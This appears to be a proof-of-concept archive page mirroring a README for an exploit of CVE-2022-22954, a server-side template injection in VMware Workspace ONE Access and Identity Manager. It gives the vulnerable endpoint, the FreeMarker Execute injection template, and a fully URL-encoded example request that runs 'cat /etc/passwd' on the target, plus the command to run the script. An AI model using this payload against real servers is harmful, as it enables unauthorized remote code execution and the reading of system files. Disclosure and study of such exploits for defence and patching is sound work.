Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2022-22954 PoC — VMware 多款产品代码注入漏洞

Source
Associated Vulnerability
Title: VMware 多款产品代码注入漏洞 (CVE-2022-22954)
Description:VMware Workspace ONE Access and Identity Manager contain a remote code execution vulnerability due to server-side template injection. A malicious actor with network access can trigger a server-side template injection that may result in remote code execution.
Description
Proof of Concept for exploiting VMware CVE-2022-22954
Readme
# VMware-CVE-2022-22954-Command-Injector

Proof of Concept for exploiting VMware CVE-2022-22954

## How it works

This simple Python script makes a GET request to the specified URL appended with `/catalog-portal/ui/oauth/verify?error=&deviceUdid=` and then followed by a URL encoded version of this string:

```js
${"freemarker.template.utility.Execute"?new()("command")}
```

For example, an output for "cat /etc/passwd" would look like the following:
`{host}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d`

## Instructions

 ```bash
 python3 exploit.py <URL>
 ```

## References
 - https://github.com/sherlocksecurity/VMware-CVE-2022-22954
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →